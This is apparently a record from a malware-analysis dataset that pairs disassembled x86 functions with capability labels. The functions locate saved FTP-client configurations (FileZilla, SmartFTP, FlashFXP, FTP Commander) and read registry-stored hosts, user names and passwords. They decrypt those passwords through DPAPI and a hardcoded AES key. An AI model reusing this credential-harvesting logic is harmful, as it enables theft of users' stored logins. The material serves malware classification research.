joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41de7a
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd28
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0xbe3]
push esi
push edi
push 0x3e7
push 0
push eax
mov dword [ebp - 0xd28], ecx
mov byte [ebp - 0xbe4], 0
call fcn.006390b0
add esp, 0xc
lea edi, [ebp - 0x2c]
mov esi, str.Client_2.0FavoritesQuick_Connect
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x41def8
lea eax, [ebp - 0xbe4]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x41df40
mov eax, str._sSmartFTP_s
lea ebx, [ebp - 0xbe4]
jmp 0x41df17
push ebx
call fcn.00643470
pop ecx
cmp byte [eax + ebx - 1], 0x5c
jne 0x41df12
push ebx
call fcn.00643470
pop ecx
mov byte [eax + ebx - 1], 0
mov eax, 0x6c643c
lea ecx, [ebp - 0x2c]
push ecx
push ebx
push eax
lea eax, [ebp - 0x7fc]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x7fc]
call fcn.004055eb
test eax, eax
jne 0x41df4d
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x41e061
lea eax, [ebp - 0x7fc]
push eax
push 0x6c7d80
lea eax, [ebp - 0x414]
push 0x208
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0xd24]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x41df46
mov ebx, dword [ebp - 0xd28]
test byte [ebp - 0xd24], 0x10
jne 0x41e041
lea eax, [ebp - 0xcf8]
push 0x2e
push eax
call fcn.00639770
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41e041
push str..dat
push esi
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
jne 0x41dffb
lea eax, [ebp - 0xcf8]
push eax
lea eax, [ebp - 0x7fc]
push eax
push 0x6c643c
lea eax, [ebp - 0x414]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x414]
mov ecx, ebx
push eax
call fcn.0041da25
push str..xml
push esi
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
jne 0x41e041
lea eax, [ebp - 0xcf8]
push eax
lea eax, [ebp - 0x7fc]
push eax
push 0x6c643c
lea eax, [ebp - 0x414]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x414]
mov ecx, ebx
push eax
call fcn.0041d7d1
lea ecx, [ebp - 0xd24]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41df8e
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x41e9e2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c40
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x3e8
xor ebx, ebx
mov dword [ebp - 0x1c40], edx
lea eax, [ebp - 0x424]
mov dword [ebp - 0x38], 0x6cd1e8b4
push ebx
push eax
mov edi, ecx
mov dword [ebp - 0x34], 0x4a3d3226
mov dword [ebp - 0x30], 0xcd2680ea
mov dword [ebp - 0x2c], 0x6afebfce
mov dword [ebp - 0x28], 0xeb7de24a
mov dword [ebp - 0x24], 0x4c89f077
mov dword [ebp - 0x20], 0x3fa25bc
mov dword [ebp - 0x1c], 0x1c6b1be0
mov dword [ebp - 0x18], 0x5a1fc53b
mov dword [ebp - 0x14], 0x4513965e
call fcn.006390b0
push edi
call fcn.00643470
and eax, 0xfffffffe
add esp, 0x10
cmp eax, 0x10
jae 0x41eac6
push edi
mov dword [ebp - 0x10], 0xd373742b
mov dword [ebp - 0xc], 0x55104999
call fcn.00643470
mov esi, eax
shr esi, 1
pop ecx
cmp esi, 8
jae 0x41eabf
lea edx, [ebp - 0x80c]
mov ecx, edi
call fcn.00404638
mov edx, dword [ebp - 0x1c40]
mov ecx, ebx
test esi, esi
je 0x41eab9
mov al, byte [ebp + ecx - 0x80c]
xor al, byte [ebp + ecx - 0x10]
mov byte [ecx + edx], al
inc ecx
cmp ecx, esi
jb 0x41eaa6
mov byte [ecx + edx], bl
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x41eb5b
lea edx, [ebp - 0xbf4]
mov ecx, edi
call fcn.00404638
push edi
call fcn.00643470
mov esi, eax
lea ecx, [ebp - 0x1c3c]
lea eax, [ebp - 0x38]
shr esi, 1
push eax
push 0x20
pop edx
call fcn.00402ce9
pop ecx
pop ecx
mov ecx, esi
xor al, al
and cl, 7
cmp al, cl
sbb edi, edi
shr esi, 3
neg edi
add edi, esi
mov esi, ebx
je 0x41eb37
push ebx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c3c]
push eax
lea edx, [ebp - 0x424]
lea ecx, [ebp - 0xbf4]
push 0x3e8
lea edx, [edx + esi*8]
lea ecx, [ecx + esi*8]
call fcn.00402b85
add esp, 0x10
inc esi
cmp esi, edi
jb 0x41eb07
mov edx, dword [ebp - 0x1c40]
lea eax, [ebp - 0x424]
push eax
push 0x3e8
push edx
mov byte [ebp - 0x41c], bl
call fcn.006494f3
xor eax, eax
add esp, 0xc
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x41f216
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbf0
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0xbf0], eax
push esi
lea eax, [ebp - 0x41b]
mov byte [ebp - 0x41c], 0
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x804], 0
lea eax, [ebp - 0x803]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xbec], 0
lea eax, [ebp - 0xbeb]
push esi
push 0
push eax
call fcn.006390b0
mov esi, str._recentservers.xml
lea edi, [ebp - 0x30]
add esp, 0xc
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str._sitemanager.xml
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xbf0]
push esi
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x41f2fd
lea eax, [ebp - 0xbec]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41f2da
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x41f397
lea eax, [ebp - 0xbec]
mov esi, 0x3e8
push eax
push str._sFileZilla
lea eax, [ebp - 0x804]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
jmp 0x41f313
push esi
mov esi, 0x3e8
lea eax, [ebp - 0x804]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x804]
call fcn.004055eb
test eax, eax
je 0x41f2d3
lea eax, [ebp - 0x804]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea eax, [ebp - 0x41c]
mov ecx, ebx
push eax
call fcn.0041ee66
lea eax, [ebp - 0x804]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0x41c]
push eax
push esi
push ecx
call fcn.006500a8
add esp, 0xc
lea ecx, [ebp - 0x41c]
push ecx
mov ecx, ebx
call fcn.0041ee66
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x41f754
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10f0
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xbc3]
push edi
mov edi, 0x3e7
mov byte [ebp - 0xbc4], 0
push edi
push 0
push eax
mov ebx, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3f4], 0
lea eax, [ebp - 0x3f3]
push edi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xfac], 0
lea eax, [ebp - 0xfab]
push edi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7dc], 0
lea eax, [ebp - 0x7db]
push edi
push 0
push eax
call fcn.006390b0
add esp, 0xc
push esi
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x41f881
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0xbc4]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call edi
test eax, eax
js 0x41f868
lea eax, [ebp - 0xbc4]
mov esi, 0x3e8
push eax
push str._sFlashFXP
lea eax, [ebp - 0x3f4]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [ebp - 0x3f4]
call fcn.004055eb
test eax, eax
jne 0x41f897
lea eax, [ebp - 0xbc4]
push eax
xor eax, eax
push eax
push eax
push 0x23
push eax
call edi
test eax, eax
js 0x41f868
lea eax, [ebp - 0xbc4]
push eax
push str._sFlashFXP
lea eax, [ebp - 0x3f4]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
jmp 0x41f897
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
push esi
mov esi, 0x3e8
lea eax, [ebp - 0x3f4]
push esi
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x3f4]
call fcn.004055eb
test eax, eax
je 0x41f86e
lea eax, [ebp - 0x3f4]
push eax
push str._sSites.dat
lea eax, [ebp - 0x7dc]
push esi
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [ebp - 0x7dc]
call fcn.00405670
test eax, eax
je 0x41f8df
lea eax, [ebp - 0x7dc]
mov ecx, ebx
push eax
call fcn.0041f47a
lea eax, [ebp - 0x3f4]
mov edi, 0x208
push eax
push 0x6c7d80
lea eax, [ebp - 0xfac]
push edi
push eax
call fcn.00402e0a
lea eax, [ebp - 0x3f4]
push eax
push 0x6c7d80
lea eax, [ebp - 0xfac]
push edi
push eax
call fcn.00402e0a
add esp, 0x20
lea eax, [ebp - 0x10ec]
push eax
lea eax, [ebp - 0xfac]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x41f86e
test byte [ebp - 0x10ec], 0x10
je 0x41f98a
cmp byte [ebp - 0x10c0], 0x2e
je 0x41f98a
lea eax, [ebp - 0x10c0]
push eax
lea eax, [ebp - 0x3f4]
push eax
push str._s_sSites.dat
lea eax, [ebp - 0x7dc]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea ecx, [ebp - 0x7dc]
call fcn.00405670
test eax, eax
je 0x41f98a
lea eax, [ebp - 0x7dc]
mov ecx, ebx
push eax
call fcn.0041f47a
lea ecx, [ebp - 0x10ec]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41f938
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
jmp 0x41f870
Function at 0x41fc7e
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x41b]
xor ebx, ebx
mov esi, ecx
push 0x207
push ebx
push eax
mov byte [ebp - 0x41c], bl
call fcn.006390b0
add esp, 0xc
push edi
call fcn.00643470
pop ecx
test eax, eax
je 0x41fcf9
push edi
push str._s_ftplist.txt
lea eax, [ebp - 0x804]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [ebp - 0x804]
call fcn.00405670
test eax, eax
je 0x41fddb
lea eax, [ebp - 0x804]
jmp 0x41fdd3
cmp dword [esi + 0x5b87c], ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
push ebx
push 0x2a
pop eax
push 0x26
pop ecx
cmove eax, ecx
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41fd2a
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x41fdde
lea eax, [ebp - 0x41c]
mov edi, 0x208
push eax
push str._sFTP_Commander_Deluxe_ftplist.txt
lea eax, [ebp - 0x214]
push edi
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [ebp - 0x214]
call fcn.00405670
test eax, eax
je 0x41fd68
lea eax, [ebp - 0x214]
mov ecx, esi
push eax
call fcn.0041f9ab
movsx eax, byte [ebp - 0x41c]
push eax
push str._c:cftp_ftplist.txt
lea eax, [ebp - 0x214]
push edi
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [ebp - 0x214]
call fcn.00405670
test eax, eax
je 0x41fda2
lea eax, [ebp - 0x214]
mov ecx, esi
push eax
call fcn.0041f9ab
lea eax, [ebp - 0x41c]
push eax
push str._sFTP_Commander_ftplist.txt
lea eax, [ebp - 0x214]
push edi
push eax
call fcn.00402e0a
add esp, 0x10
lea ecx, [ebp - 0x214]
call fcn.00405670
test eax, eax
je 0x41fddb
lea eax, [ebp - 0x214]
push eax
mov ecx, esi
call fcn.0041f9ab
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4

Function at 0x41feb0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, edx
mov dword [ebp - 0x3f0], 0x2710
lea eax, [ebp - 0x3f0]
xor ebx, ebx
push eax
lea edx, [ebp - 0x3ec]
mov byte [esi], bl
call fcn.0041fdef
pop ecx
lea eax, [ebp - 0x3ec]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x400], eax
lea eax, [ebp - 0x3f8]
push eax
push 1
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x41ff28
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x41ff49
push dword [ebp - 0x3f8]
push dword [ebp - 0x3f4]
push esi
call fcn.00638b30
mov ecx, dword [ebp - 0x3f8]
xor eax, eax
add esp, 0xc
inc eax
mov byte [esi + ecx], bl
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
Function at 0x420241
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x414]
push edi
push eax
push 0x20019
xor ebx, ebx
mov dword [ebp - 0x418], ecx
push ebx
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4202e7
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x410]
mov edi, ebx
push eax
lea eax, [ebp - 0x40c]
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x4202c5
mov ecx, dword [ebp - 0x418]
lea eax, [ebp - 0x40c]
push eax
push esi
call fcn.0041ff57
inc edi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x40c]
push eax
push edi
push dword [ebp - 0x414]
mov dword [ebp - 0x410], 0x400
call ebx
test eax, eax
je 0x42029c
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
Function at 0x4202f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x27b4
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push eax
push ebx
push 0x6c643c
mov dword [ebp - 0x27a4], eax
mov esi, 0x400
lea eax, [ebp - 0x2790]
mov dword [ebp - 0x27b0], ecx
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x2798]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x2790]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4204e8
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov byte [ebp - 0x1408], al
lea eax, [ebp - 0x27a0]
push eax
lea eax, [ebp - 0x1408]
mov dword [ebp - 0x27a0], esi
push eax
lea eax, [ebp - 0x279c]
push eax
push 0
push str.Host
push dword [ebp - 0x2798]
call edi
push dword [ebp - 0x2798]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4204e8
push dword [ebp - 0x27a4]
mov esi, 0x400
lea eax, [ebp - 0x2790]
push ebx
push str._s_sKeychain
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x2794]
xor ebx, ebx
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x2790]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4204e8
lea eax, [ebp - 0x27a8]
mov byte [ebp - 0x808], bl
push eax
lea eax, [ebp - 0x408]
mov byte [ebp - 0x408], bl
push eax
lea eax, [ebp - 0x279c]
mov byte [ebp - 0xc08], bl
push eax
push ebx
push str.User
push dword [ebp - 0x2794]
mov byte [ebp - 0x1008], bl
mov dword [ebp - 0x27a8], esi
call edi
lea eax, [ebp - 0x27ac]
mov dword [ebp - 0x27ac], esi
push eax
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x279c]
push eax
push ebx
push str.User_PW
push dword [ebp - 0x2794]
call edi
push dword [ebp - 0x2794]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x408]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x4204e8
lea eax, [ebp - 0x808]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x4204e8
lea edx, [ebp - 0x1008]
lea ecx, [ebp - 0x408]
call fcn.0041feb0
lea edx, [ebp - 0xc08]
lea ecx, [ebp - 0x808]
call fcn.0041feb0
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0xc08]
push ecx
push eax
lea eax, [ebp - 0x1008]
push eax
lea eax, [ebp - 0x1408]
push eax
push ecx
mov ecx, dword [ebp - 0x27b0]
push 0x131
push 4
call fcn.0043ee6b
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 8
Function at 0x4204f9
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x414]
push edi
push eax
push 0x20019
xor ebx, ebx
mov dword [ebp - 0x418], ecx
push ebx
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42059f
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x410]
mov edi, ebx
push eax
lea eax, [ebp - 0x40c]
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x42057d
mov ecx, dword [ebp - 0x418]
lea eax, [ebp - 0x40c]
push eax
push esi
call fcn.004202f8
inc edi
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x40c]
push eax
push edi
push dword [ebp - 0x414]
mov dword [ebp - 0x410], 0x400
call ebx
test eax, eax
je 0x420554
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4

Function at 0x4205b0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x610]
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwareAdobeCommon
push SysReAllocString
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4205f1
xor eax, eax
jmp 0x4206fb
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x60c]
mov dword [ebp - 0x614], esi
push eax
lea eax, [ebp - 0x608]
mov dword [ebp - 0x60c], 0x400
push eax
push esi
push dword [ebp - 0x610]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4206e8
lea eax, [ebp - 0x608]
push eax
push str.SoftwareAdobeCommon_sSites
lea eax, [ebp - 0x208]
push 0x200
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x618]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x208]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4206b0
push dword [ebp - 0x618]
call esi
push 0x6ca490
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x608]
push 0x6ca490
push eax
call fcn.0065106c
add esp, 0xc
mov ecx, edi
test eax, eax
lea eax, [ebp - 0x208]
push eax
jne 0x4206ab
call fcn.004204f9
jmp 0x4206b0
call fcn.00420241
mov eax, dword [ebp - 0x614]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
lea ecx, [ebp - 0x60c]
mov dword [ebp - 0x60c], 0x400
push ecx
lea ecx, [ebp - 0x608]
inc eax
push ecx
push eax
push dword [ebp - 0x610]
mov dword [ebp - 0x614], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x42062b
push dword [ebp - 0x610]
call esi
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.006122f0
leave
ret
Function at 0x420709
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str.hdfzpysvpzimorhk
lea edi, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x400]
mov ebx, edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, 0x3e8
push edi
push eax
call fcn.006494f3
lea ecx, [ebp - 0x400]
call fcn.004045f9
push 0x10
mov esi, eax
mov dword [ebp - 0x41c], 0x208
pop eax
push eax
mov dword [ebp - 0x414], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0x418], 0x660e
push eax
call fcn.00638b30
add esp, 0x18
lea eax, [ebp - 0x428]
push 0xf0000000
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x420839
lea eax, [ebp - 0x420]
push eax
push 0
push 0
push 0x1c
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x420839
push 0
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x42c], 2
push eax
push 4
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x420839
lea eax, [ebp - 0x424]
mov dword [ebp - 0x424], esi
push eax
lea eax, [ebp - 0x400]
push eax
xor eax, eax
push eax
push eax
push eax
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x420839
mov eax, dword [ebp - 0x424]
cmp eax, edi
jae 0x420850
mov byte [ebp + eax - 0x400], 0
lea eax, [ebp - 0x400]
push eax
push edi
push ebx
call fcn.006494f3
xor eax, eax
add esp, 0xc
inc eax
jmp 0x420841
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret
call fcn.00612782
int3
Function at 0x420856
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfb8
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xfab]
push edi
mov ebx, 0x3e7
mov byte [ebp - 0xfac], 0
push ebx
push 0
push eax
mov edi, ecx
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0xbc4], 0
lea eax, [ebp - 0xbc3]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x3f4], 0
lea eax, [ebp - 0x3f3]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7dc], 0
lea eax, [ebp - 0x7db]
push ebx
push 0
push eax
call fcn.006390b0
add esp, 0xc
lea eax, [ebp - 0xfb4]
push eax
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4209e3
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xfb0]
push eax
lea eax, [ebp - 0xfac]
inc ebx
push eax
lea eax, [ebp - 0xfb8]
mov dword [ebp - 0xfb0], ebx
push eax
push 0
push str.Host
push dword [ebp - 0xfb4]
call esi
lea eax, [ebp - 0xfb0]
mov dword [ebp - 0xfb0], ebx
push eax
lea eax, [ebp - 0xbc4]
push eax
lea eax, [ebp - 0xfb8]
push eax
push 0
push str.User
push dword [ebp - 0xfb4]
call esi
lea eax, [ebp - 0xfb0]
mov dword [ebp - 0xfb0], ebx
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0xfb8]
push eax
push 0
push 0x6ca4a8
push dword [ebp - 0xfb4]
call esi
push dword [ebp - 0xfb4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x3f4]
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x4209e3
push ecx
lea edx, [ebp - 0x7dc]
lea ecx, [ebp - 0x3f4]
call fcn.00420709
pop ecx
push 0xffffffffffffffff
mov edx, 0x6c5bb9
lea eax, [ebp - 0x7dc]
push edx
push eax
lea ecx, [ebp - 0xbc4]
push ecx
lea ecx, [ebp - 0xfac]
push ecx
push edx
push 0x133
push 4
mov ecx, edi
call fcn.0043ee6b
xor eax, eax
inc eax
jmp 0x4209e5
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4